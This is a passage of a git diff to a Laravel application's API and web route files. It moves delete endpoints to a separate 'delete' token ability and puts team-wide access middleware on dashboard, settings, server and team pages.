Route::get('/applications', [ApplicationsController::class, 'applications'])->middleware(['api.ability:read']); Route::post('/applications/public', [ApplicationsController::class, 'create_public_application'])->middleware(['api.ability:write']); @@ -254,20 +254,20 @@ Route::group([ Route::get('/applications/{uuid}', [ApplicationsController::class, 'application_by_uuid'])->middleware(['api.ability:read']); Route::patch('/applications/{uuid}', [ApplicationsController::class, 'update_by_uuid'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}', [ApplicationsController::class, 'delete_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}', [ApplicationsController::class, 'delete_by_uuid'])->middleware(['api.ability:delete']); Route::patch('/applications/{uuid}/secret-manager', [ApplicationSecretManagerController::class, 'update'])->middleware(['api.ability:write']); Route::get('/applications/{uuid}/envs', [ApplicationsController::class, 'envs'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/envs', [ApplicationsController::class, 'create_env'])->middleware(['api.ability:write']); Route::patch('/applications/{uuid}/envs/bulk', [ApplicationsController::class, 'create_bulk_envs'])->middleware(['api.ability:write']); Route::patch('/applications/{uuid}/envs', [ApplicationsController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:delete']); Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read:sensitive']); Route::get('/applications/{uuid}/previews/{pull_request_id}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read:sensitive']); Route::get('/applications/{uuid}/storages', [ApplicationsController::class, 'storages'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/storages', [ApplicationsController::class, 'create_storage'])->middleware(['api.ability:write']); Route::patch('/applications/{uuid}/storages', [ApplicationsController::class, 'update_storage'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}/storages/{storage_uuid}', [ApplicationsController::class, 'delete_storage'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/storages/{storage_uuid}', [ApplicationsController::class, 'delete_storage'])->middleware(['api.ability:delete']); Route::put('/applications/{uuid}/storages/{storage_uuid}/backups', [VolumeBackupsController::class, 'upsert']) ->defaults('resource_type', 'application') ->middleware(['api.ability:write']); @@ -276,11 +276,11 @@ Route::group([ ->middleware(['api.ability:write']); Route::delete('/applications/{uuid}/storages/{storage_uuid}/backups', [VolumeBackupsController::class, 'destroy']) ->defaults('resource_type', 'application') - ->middleware(['api.ability:write']); + ->middleware(['api.ability:delete']); Route::get('/applications/{uuid}/tags', [ApplicationsController::class, 'tags'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/tags', [ApplicationsController::class, 'create_tag'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}/tags/{tag_uuid}', [ApplicationsController::class, 'delete_tag'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/tags/{tag_uuid}', [ApplicationsController::class, 'delete_tag'])->middleware(['api.ability:delete']); Route::post('/applications/{uuid}/move', [ApplicationsController::class, 'move_by_uuid'])->middleware(['api.ability:write']); Route::post('/applications/{uuid}/migrate', [ApplicationsController::class, 'migrate_by_uuid'])->middleware(['api.ability:write']); @@ -289,7 +289,7 @@ Route::group([ Route::post('/applications/{uuid}/rollback', [ApplicationsController::class, 'rollback_by_uuid'])->middleware(['api.ability:deploy']); Route::get('/applications/{uuid}/destinations', [ApplicationsController::class, 'destinations'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/destinations', [ApplicationsController::class, 'add_destination'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}/destinations/{destination_uuid}', [ApplicationsController::class, 'remove_destination'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/destinations/{destination_uuid}', [ApplicationsController::class, 'remove_destination'])->middleware(['api.ability:delete']); Route::get('/applications/{uuid}/start', [OtherController::class, 'post_required'])->middleware(['api.ability:deploy']); Route::get('/applications/{uuid}/restart', [OtherController::class, 'post_required'])->middleware(['api.ability:deploy']); Route::get('/applications/{uuid}/stop', [OtherController::class, 'post_required'])->middleware(['api.ability:deploy']); @@ -301,19 +301,19 @@ Route::group([ Route::post('/applications/{uuid}/previews', [ApplicationPreviewsController::class, 'store'])->middleware(['api.ability:deploy']); Route::get('/applications/{uuid}/previews/{pull_request_id}', [ApplicationPreviewsController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/applications/{uuid}/previews/{pull_request_id}', [ApplicationsController::class, 'update_preview_by_pull_request_id'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}/previews/{pull_request_id}', [ApplicationsController::class, 'delete_preview_by_pull_request_id'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/previews/{pull_request_id}', [ApplicationsController::class, 'delete_preview_by_pull_request_id'])->middleware(['api.ability:delete']); Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']); Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']); Route::patch('/github-apps/{github_app_id}', [GithubController::class, 'update_github_app'])->middleware(['api.ability:write']); - Route::delete('/github-apps/{github_app_id}', [GithubController::class, 'delete_github_app'])->middleware(['api.ability:write']); + Route::delete('/github-apps/{github_app_id}', [GithubController::class, 'delete_github_app'])->middleware(['api.ability:delete']); Route::get('/github-apps/{github_app_id}/repositories', [GithubController::class, 'load_repositories'])->middleware(['api.ability:read']); Route::get('/github-apps/{github_app_id}/repositories/{owner}/{repo}/branches', [GithubController::class, 'load_branches'])->middleware(['api.ability:read']); Route::get('/gitlab-apps', [GitlabController::class, 'list_gitlab_apps'])->middleware(['api.ability:read']); Route::post('/gitlab-apps', [GitlabController::class, 'create_gitlab_app'])->middleware(['api.ability:write']); Route::patch('/gitlab-apps/{gitlab_app_id}', [GitlabController::class, 'update_gitlab_app'])->middleware(['api.ability:write']); - Route::delete('/gitlab-apps/{gitlab_app_id}', [GitlabController::class, 'delete_gitlab_app'])->middleware(['api.ability:write']); + Route::delete('/gitlab-apps/{gitlab_app_id}', [GitlabController::class, 'delete_gitlab_app'])->middleware(['api.ability:delete']); Route::get('/databases', [DatabasesController::class, 'databases'])->middleware(['api.ability:read']); Route::post('/databases/postgresql', [DatabasesController::class, 'create_database_postgresql'])->middleware(['api.ability:write']); @@ -335,15 +335,15 @@ Route::group([ Route::patch('/databases/{uuid}', [DatabasesController::class, 'update_by_uuid'])->middleware(['api.ability:write']); Route::post('/databases/{uuid}/backups', [DatabasesController::class, 'create_backup'])->middleware(['api.ability:write']); Route::patch('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'update_backup'])->middleware(['api.ability:write']); - Route::delete('/databases/{uuid}', [DatabasesController::class, 'delete_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}', [DatabasesController::class, 'delete_by_uuid'])->middleware(['api.ability:delete']); Route::get('/databases/{uuid}/logs', [DatabasesController::class, 'logs_by_uuid'])->middleware(['api.ability:read:sensitive']); - Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']); - Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:delete']); + Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:delete']); Route::get('/databases/{uuid}/storages', [DatabasesController::class, 'storages'])->middleware(['api.ability:read']); Route::post('/databases/{uuid}/storages', [DatabasesController::class, 'create_storage'])->middleware(['api.ability:write']); Route::patch('/databases/{uuid}/storages', [DatabasesController::class, 'update_storage'])->middleware(['api.ability:write']); - Route::delete('/databases/{uuid}/storages/{storage_uuid}', [DatabasesController::class, 'delete_storage'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/storages/{storage_uuid}', [DatabasesController::class, 'delete_storage'])->middleware(['api.ability:delete']); Route::put('/databases/{uuid}/storages/{storage_uuid}/backups', [VolumeBackupsController::class, 'upsert']) ->defaults('resource_type', 'database') ->middleware(['api.ability:write']); @@ -352,17 +352,17 @@ Route::group([ ->middleware(['api.ability:write']); Route::delete('/databases/{uuid}/storages/{storage_uuid}/backups', [VolumeBackupsController::class, 'destroy']) ->defaults('resource_type', 'database') - ->middleware(['api.ability:write']); + ->middleware(['api.ability:delete']); Route::get('/databases/{uuid}/envs', [DatabasesController::class, 'envs'])->middleware(['api.ability:read']); Route::post('/databases/{uuid}/envs', [DatabasesController::class, 'create_env'])->middleware(['api.ability:write']); Route::patch('/databases/{uuid}/envs/bulk', [DatabasesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']); Route::patch('/databases/{uuid}/envs', [DatabasesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); - Route::delete('/databases/{uuid}/envs/{env_uuid}', [DatabasesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/envs/{env_uuid}', [DatabasesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:delete']); Route::get('/databases/{uuid}/tags', [DatabasesController::class, 'tags'])->middleware(['api.ability:read']); Route::post('/databases/{uuid}/tags', [DatabasesController::class, 'create_tag'])->middleware(['api.ability:write']); - Route::delete('/databases/{uuid}/tags/{tag_uuid}', [DatabasesController::class, 'delete_tag'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/tags/{tag_uuid}', [DatabasesController::class, 'delete_tag'])->middleware(['api.ability:delete']); Route::post('/databases/{uuid}/move', [DatabasesController::class, 'move_by_uuid'])->middleware(['api.ability:write']); Route::post('/databases/{uuid}/migrate', [DatabasesController::class, 'migrate_by_uuid'])->middleware(['api.ability:write']); @@ -379,12 +379,12 @@ Route::group([ Route::get('/services/{uuid}', [ServicesController::class, 'service_by_uuid'])->middleware(['api.ability:read']); Route::patch('/services/{uuid}', [ServicesController::class, 'update_by_uuid'])->middleware(['api.ability:write']); - Route::delete('/services/{uuid}', [ServicesController::class, 'delete_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}', [ServicesController::class, 'delete_by_uuid'])->middleware(['api.ability:delete']); Route::get('/services/{uuid}/storages', [ServicesController::class, 'storages'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/storages', [ServicesController::class, 'create_storage'])->middleware(['api.ability:write']); Route::patch('/services/{uuid}/storages', [ServicesController::class, 'update_storage'])->middleware(['api.ability:write']); - Route::delete('/services/{uuid}/storages/{storage_uuid}', [ServicesController::class, 'delete_storage'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}/storages/{storage_uuid}', [ServicesController::class, 'delete_storage'])->middleware(['api.ability:delete']); Route::put('/services/{uuid}/storages/{storage_uuid}/backups', [VolumeBackupsController::class, 'upsert']) ->defaults('resource_type', 'service') ->middleware(['api.ability:write']); @@ -393,18 +393,18 @@ Route::group([ ->middleware(['api.ability:write']); Route::delete('/services/{uuid}/storages/{storage_uuid}/backups', [VolumeBackupsController::class, 'destroy']) ->defaults('resource_type', 'service') - ->middleware(['api.ability:write']); + ->middleware(['api.ability:delete']); Route::get('/services/{uuid}/envs', [ServicesController::class, 'envs'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/envs', [ServicesController::class, 'create_env'])->middleware(['api.ability:write']); Route::patch('/services/{uuid}/envs/bulk', [ServicesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']); Route::patch('/services/{uuid}/envs', [ServicesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); - Route::delete('/services/{uuid}/envs/{env_uuid}', [ServicesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}/envs/{env_uuid}', [ServicesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:delete']); Route::get('/services/{uuid}/logs', [ServicesController::class, 'logs_by_uuid'])->middleware(['api.ability:read:sensitive']); Route::get('/services/{uuid}/tags', [ServicesController::class, 'tags'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/tags', [ServicesController::class, 'create_tag'])->middleware(['api.ability:write']); - Route::delete('/services/{uuid}/tags/{tag_uuid}', [ServicesController::class, 'delete_tag'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}/tags/{tag_uuid}', [ServicesController::class, 'delete_tag'])->middleware(['api.ability:delete']); Route::post('/services/{uuid}/move', [ServicesController::class, 'move_by_uuid'])->middleware(['api.ability:write']); Route::post('/services/{uuid}/migrate', [ServicesController::class, 'migrate_by_uuid'])->middleware(['api.ability:write']); @@ -441,14 +441,14 @@ Route::group([ Route::get('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_application_uuid'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); Route::patch('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); - Route::delete('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_application_uuid'])->middleware(['api.ability:delete']); Route::get('/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_application_uuid'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/scheduled-tasks/{task_uuid}/execute', [ScheduledTasksController::class, 'execute_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); Route::get('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_service_uuid'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); Route::patch('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); - Route::delete('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_service_uuid'])->middleware(['api.ability:delete']); Route::get('/services/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_service_uuid'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/scheduled-tasks/{task_uuid}/execute', [ScheduledTasksController::class, 'execute_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); }); diff --git a/routes/web.php b/routes/web.php index 2efe33c643..8e94e150ee 100644 --- a/routes/web.php +++ b/routes/web.php @@ -192,11 +192,13 @@ Route::middleware(['auth', 'verified'])->group(function () { }); Route::get('/', Dashboard::class)->name('dashboard'); - Route::get('/dashboard/canvas', DashboardCanvas::class)->name('dashboard.canvas'); - Route::get('/analytics', Analytics::class)->name('analytics'); - Route::get('/metrics', FleetMetrics::class)->name('metrics'); - Route::get('/canvas', DeployCanvas::class)->name('deploy-canvas'); - Route::get('/canvas/tags', TagsCanvas::class)->name('tags.canvas'); + Route::middleware('access.team-wide')->group(function () { + Route::get('/dashboard/canvas', DashboardCanvas::class)->name('dashboard.canvas'); + Route::get('/analytics', Analytics::class)->name('analytics'); + Route::get('/metrics', FleetMetrics::class)->name('metrics'); + Route::get('/canvas', DeployCanvas::class)->name('deploy-canvas'); + Route::get('/canvas/tags', TagsCanvas::class)->name('tags.canvas'); + }); // The canvas calls these API controllers with the browser session (no API token). Route::prefix('canvas/api')->middleware([UseSessionTeamApiToken::class, 'api.token.team', 'api.sensitive'])->group(function () { Route::get('/projects', [ProjectController::class, 'projects'])->middleware(['api.ability:read']); @@ -210,26 +212,26 @@ Route::middleware(['auth', 'verified'])->group(function () { Route::post('/projects/{uuid}/environments/{environment_name_or_uuid}/canvas/links', [EnvironmentCanvasController::class, 'storeLink'])->middleware(['api.ability:write']); Route::patch('/projects/{uuid}/environments/{environment_name_or_uuid}/canvas/links/{link_uuid}', [EnvironmentCanvasController::class, 'updateLink'])->middleware(['api.ability:write']); Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}/canvas/links/{link_uuid}', [EnvironmentCanvasController::class, 'destroyLink'])->middleware(['api.ability:write']); - Route::get('/tags/canvas', [TagCanvasController::class, 'show'])->middleware(['api.ability:read']); - Route::post('/tags/canvas/links', [TagCanvasController::class, 'storeLink'])->middleware(['api.ability:write']); - Route::delete('/tags/canvas/links/{link_id}', [TagCanvasController::class, 'destroyLink'])->middleware(['api.ability:write']); - Route::get('/shared-variables/team/canvas', [SharedVariableCanvasController::class, 'show'])->middleware(['api.ability:read']); - Route::post('/shared-variables/team/canvas/links', [SharedVariableCanvasController::class, 'storeLink'])->middleware(['api.ability:write']); - Route::delete('/shared-variables/team/canvas/links/{link_id}', [SharedVariableCanvasController::class, 'destroyLink'])->middleware(['api.ability:write']); + Route::get('/tags/canvas', [TagCanvasController::class, 'show'])->middleware(['access.team-wide', 'api.ability:read']); + Route::post('/tags/canvas/links', [TagCanvasController::class, 'storeLink'])->middleware(['access.team-wide', 'api.ability:write']); + Route::delete('/tags/canvas/links/{link_id}', [TagCanvasController::class, 'destroyLink'])->middleware(['access.team-wide', 'api.ability:write']); + Route::get('/shared-variables/team/canvas', [SharedVariableCanvasController::class, 'show'])->middleware(['access.team-wide', 'api.ability:read']); + Route::post('/shared-variables/team/canvas/links', [SharedVariableCanvasController::class, 'storeLink'])->middleware(['access.team-wide', 'api.ability:write']); + Route::delete('/shared-variables/team/canvas/links/{link_id}', [SharedVariableCanvasController::class, 'destroyLink'])->middleware(['access.team-wide', 'api.ability:write']); Route::get('/shared-variables/{scope}/{uuid}/canvas', [SharedVariableCanvasController::class, 'show'])->whereIn('scope', ['project', 'environment', 'server'])->middleware(['api.ability:read']); Route::post('/shared-variables/{scope}/{uuid}/canvas/links', [SharedVariableCanvasController::class, 'storeLink'])->whereIn('scope', ['project', 'environment', 'server'])->middleware(['api.ability:write']); Route::delete('/shared-variables/{scope}/{uuid}/canvas/links/{link_id}', [SharedVariableCanvasController::class, 'destroyLink'])->whereIn('scope', ['project', 'environment', 'server'])->middleware(['api.ability:write']); - Route::get('/servers', [ServersController::class, 'servers'])->middleware(['api.ability:read']); - Route::get('/servers/canvas', [ServerCanvasController::class, 'index'])->middleware(['api.ability:read']); - Route::get('/dashboard/canvas', [ServerCanvasController::class, 'dashboard'])->middleware(['api.ability:read']); - Route::get('/servers/{uuid}/canvas', [ServerCanvasController::class, 'show'])->middleware(['api.ability:read']); - Route::get('/servers/{uuid}/canvas/containers', [ServerCanvasController::class, 'containers'])->middleware(['api.ability:read']); - Route::get('/servers/{uuid}/canvas/usage', [ServerCanvasController::class, 'usage'])->middleware(['api.ability:read']); - Route::get('/servers/{server_uuid}/destinations', [DestinationsController::class, 'index_by_server'])->middleware(['api.ability:read']); - Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']); - Route::get('/github-apps/{github_app_id}/repositories', [GithubController::class, 'load_repositories'])->middleware(['api.ability:read']); - Route::get('/github-apps/{github_app_id}/repositories/{owner}/{repo}/branches', [GithubController::class, 'load_branches'])->middleware(['api.ability:read']); - Route::get('/security/keys', [SecurityController::class, 'keys'])->middleware(['api.ability:read']); + Route::get('/servers', [ServersController::class, 'servers'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/servers/canvas', [ServerCanvasController::class, 'index'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/dashboard/canvas', [ServerCanvasController::class, 'dashboard'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/servers/{uuid}/canvas', [ServerCanvasController::class, 'show'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/servers/{uuid}/canvas/containers', [ServerCanvasController::class, 'containers'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/servers/{uuid}/canvas/usage', [ServerCanvasController::class, 'usage'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/servers/{server_uuid}/destinations', [DestinationsController::class, 'index_by_server'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/github-apps/{github_app_id}/repositories', [GithubController::class, 'load_repositories'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/github-apps/{github_app_id}/repositories/{owner}/{repo}/branches', [GithubController::class, 'load_branches'])->middleware(['access.team-wide', 'api.ability:read']); + Route::get('/security/keys', [SecurityController::class, 'keys'])->middleware(['access.team-wide', 'api.ability:read']); Route::post('/applications/public', [ApplicationsController::class, 'create_public_application'])->middleware(['api.ability:write']); Route::post('/applications/private-github-app', [ApplicationsController::class, 'create_private_gh_app_application'])->middleware(['api.ability:write']); Route::post('/applications/private-deploy-key', [ApplicationsController::class, 'create_private_deploy_key_application'])->middleware(['api.ability:write']); @@ -254,19 +256,21 @@ Route::middleware(['auth', 'verified'])->group(function () { Route::get('/admin', AdminIndex::class)->name('admin.index'); Route::get('/onboarding', BoardingIndex::class)->name('onboarding'); - Route::get('/subscription', SubscriptionShow::class)->name('subscription.show'); - Route::get('/subscription/new', SubscriptionIndex::class)->name('subscription.index'); + Route::middleware('access.team-wide')->group(function () { + Route::get('/subscription', SubscriptionShow::class)->name('subscription.show'); + Route::get('/subscription/new', SubscriptionIndex::class)->name('subscription.index'); - Route::get('/settings', SettingsIndex::class)->name('settings.index'); - Route::get('/settings/advanced', SettingsAdvanced::class)->name('settings.advanced'); - Route::get('/settings/updates', SettingsUpdates::class)->name('settings.updates'); + Route::get('/settings', SettingsIndex::class)->name('settings.index'); + Route::get('/settings/advanced', SettingsAdvanced::class)->name('settings.advanced'); + Route::get('/settings/updates', SettingsUpdates::class)->name('settings.updates'); - Route::get('/settings/backup', SettingsBackup::class)->name('settings.backup'); - Route::get('/settings/email', SettingsEmail::class)->name('settings.email'); - Route::get('/settings/oauth', SettingsOauth::class)->name('settings.oauth'); - Route::get('/settings/oauth/{provider}', SettingsOauth::class) - ->where('provider', '[A-Za-z0-9_-]+') - ->name('settings.oauth.provider'); + Route::get('/settings/backup', SettingsBackup::class)->name('settings.backup'); + Route::get('/settings/email', SettingsEmail::class)->name('settings.email'); + Route::get('/settings/oauth', SettingsOauth::class)->name('settings.oauth'); + Route::get('/settings/oauth/{provider}', SettingsOauth::class) + ->where('provider', '[A-Za-z0-9_-]+') + ->name('settings.oauth.provider'); + }); Route::get('/profile', ProfileIndex::class)->name('profile'); Route::get('/profile/avatar', ProfileAvatarController::class)->name('profile.avatar'); Route::get('/profile/appearance', ProfileAppearance::class)->name('profile.appearance'); @@ -274,11 +278,11 @@ Route::middleware(['auth', 'verified'])->group(function () { ->middleware('password.confirm') ->name('profile.passkeys.confirm'); - Route::prefix('tags')->group(function () { + Route::prefix('tags')->middleware('access.team-wide')->group(function () { Route::get('/{tagName?}', TagsShow::class)->name('tags.show'); }); - Route::prefix('notifications')->group(function () { + Route::prefix('notifications')->middleware('access.team-wide')->group(function () { Route::get('/email', NotificationEmail::class)->name('notifications.email'); Route::get('/telegram', NotificationTelegram::class)->name('notifications.telegram'); Route::get('/discord', NotificationDiscord::class)->name('notifications.discord'); @@ -287,38 +291,38 @@ Route::middleware(['auth', 'verified'])->group(function () { Route::get('/webhook', NotificationWebhook::class)->name('notifications.webhook'); }); - Route::prefix('storages')->group(function () { + Route::prefix('storages')->middleware('access.team-wide')->group(function () { Route::get('/', StorageIndex::class)->name('storage.index'); Route::get('/{storage_uuid}', StorageShow::class)->name('storage.show'); Route::get('/{storage_uuid}/danger', StorageShow::class)->name('storage.danger'); Route::get('/{storage_uuid}/resources', StorageShow::class)->name('storage.resources'); }); Route::prefix('shared-variables')->group(function () { - Route::get('/', SharedVariablesIndex::class)->name('shared-variables.index'); - Route::get('/team', TeamSharedVariablesIndex::class)->name('shared-variables.team.index'); - Route::get('/team/canvas', SharedVariablesCanvas::class)->name('shared-variables.team.canvas'); + Route::get('/', SharedVariablesIndex::class)->name('shared-variables.index')->middleware('access.team-wide'); + Route::get('/team', TeamSharedVariablesIndex::class)->name('shared-variables.team.index')->middleware('access.team-wide'); + Route::get('/team/canvas', SharedVariablesCanvas::class)->name('shared-variables.team.canvas')->middleware('access.team-wide'); Route::get('/projects', ProjectSharedVariablesIndex::class)->name('shared-variables.project.index'); Route::get('/project/{project_uuid}', ProjectSharedVariablesShow::class)->name('shared-variables.project.show'); Route::get('/project/{project_uuid}/canvas', SharedVariablesCanvas::class)->name('shared-variables.project.canvas'); Route::get('/environments', EnvironmentSharedVariablesIndex::class)->name('shared-variables.environment.index'); Route::get('/environments/project/{project_uuid}/environment/{environment_uuid}', EnvironmentSharedVariablesShow::class)->name('shared-variables.environment.show'); Route::get('/environments/project/{project_uuid}/environment/{environment_uuid}/canvas', SharedVariablesCanvas::class)->name('shared-variables.environment.canvas'); - Route::get('/servers', ServerSharedVariablesIndex::class)->name('shared-variables.server.index'); - Route::get('/server/{server_uuid}', ServerSharedVariablesShow::class)->name('shared-variables.server.show'); - Route::get('/server/{server_uuid}/canvas', SharedVariablesCanvas::class)->name('shared-variables.server.canvas'); + Route::get('/servers', ServerSharedVariablesIndex::class)->name('shared-variables.server.index')->middleware('access.team-wide'); + Route::get('/server/{server_uuid}', ServerSharedVariablesShow::class)->name('shared-variables.server.show')->middleware('access.team-wide'); + Route::get('/server/{server_uuid}/canvas', SharedVariablesCanvas::class)->name('shared-variables.server.canvas')->middleware('access.team-wide'); }); Route::prefix('team')->group(function () { - Route::get('/', TeamIndex::class)->name('team.index'); + Route::get('/', TeamIndex::class)->name('team.index')->middleware('access.team-wide'); Route::get('/{team_id}/avatar', TeamAvatarController::class)->whereNumber('team_id')->name('team.avatar'); - Route::get('/members', TeamMemberIndex::class)->name('team.member.index'); + Route::get('/members', TeamMemberIndex::class)->name('team.member.index')->middleware('access.team-wide'); Route::get('/members/{user_id}/avatar', ProfileAvatarController::class)->whereNumber('user_id')->name('team.member.avatar'); - Route::get('/audit-log', TeamAuditLog::class)->name('team.audit-log'); - Route::get('/admin', TeamAdminView::class)->name('team.admin-view'); - Route::get('/danger', TeamDangerZone::class)->name('team.danger-zone'); + Route::get('/audit-log', TeamAuditLog::class)->name('team.audit-log')->middleware('access.team-wide'); + Route::get('/admin', TeamAdminView::class)->name('team.admin-view')->middleware('access.team-wide'); + Route::get('/danger', TeamDangerZone::class)->name('team.danger-zone')->middleware('access.team-wide'); }); - Route::get('/terminal', TerminalIndex::class)->name('terminal')->middleware('can.access.terminal'); + Route::get('/terminal', TerminalIndex::class)->name('terminal')->middleware('can.access.terminal')->middleware('access.team-wide'); Route::post('/terminal/auth', function () { if (auth()->check()) { return response()->json(['authenticated' => true], 200); @@ -478,64 +482,69 @@ Route::middleware(['auth', 'verified'])->group(function () { Route::get('/tasks/{task_uuid}', fn () => redirect()->route('project.service.scheduled-tasks.show', get_route_parameters()))->name('project.service.scheduled-tasks'); }); - Route::get('/servers', ServerIndex::class)->name('server.index'); - Route::get('/servers/canvas', ServerCanvas::class)->name('server.canvas.index'); - Route::get('/registries', ServerDockerRegistries::class)->name('registries.index'); - Route::get('/servers/new', ServerCreatePage::class)->name('server.create')->middleware('can:create,'.Server::class); - Route::get('/servers/new/{type}/{token_uuid}', ServerCreatePage::class)->name('server.create.token')->middleware('can:create,'.Server::class)->whereIn('type', ['hetzner', 'vultr', 'digital-ocean', 'hostinger']); - Route::get('/servers/new/{type}', ServerCreatePage::class)->name('server.create.type')->middleware('can:create,'.Server::class)->whereIn('type', ['hetzner', 'vultr', 'digital-ocean', 'hostinger', 'manual']); + Route::middleware('access.team-wide')->group(function () { + Route::get('/servers', ServerIndex::class)->name('server.index'); + Route::get('/servers/canvas', ServerCanvas::class)->name('server.canvas.index'); + Route::get('/registries', ServerDockerRegistries::class)->name('registries.index'); + Route::get('/servers/new', ServerCreatePage::class)->name('server.create')->middleware('can:create,'.Server::class); + Route::get('/servers/new/{type}/{token_uuid}', ServerCreatePage::class)->name('server.create.token')->middleware('can:create,'.Server::class)->whereIn('type', ['hetzner', 'vultr', 'digital-ocean', 'hostinger']); + Route::get('/servers/new/{type}', ServerCreatePage::class)->name('server.create.type')->middleware('can:create,'.Server::class)->whereIn('type', ['hetzner', 'vultr', 'digital-ocean', 'hostinger', 'manual']); - Route::prefix('server/{server_uuid}')->group(function () { - Route::get('/', ServerShow::class)->name('server.show'); - Route::get('/canvas', ServerCanvas::class)->name('server.canvas'); - Route::get('/advanced', ServerAdvanced::class)->name('server.advanced'); - Route::get('/swarm', ServerSwarm::class)->name('server.swarm'); - Route::get('/sentinel', SentinelShow::class)->name('server.sentinel'); - Route::get('/sentinel/logs', SentinelLogs::class)->name('server.sentinel.logs'); - Route::get('/private-key', PrivateKeyShow::class)->name('server.private-key'); - Route::get('/cloud-provider-token', CloudProviderTokenShow::class)->name('server.cloud-provider-token'); - Route::get('/ca-certificate', CaCertificateShow::class)->name('server.ca-certificate'); - Route::get('/resources', ResourcesShow::class)->name('server.resources'); - Route::get('/cloudflare-tunnel', CloudflareTunnel::class)->name('server.cloudflare-tunnel'); - Route::get('/destinations', 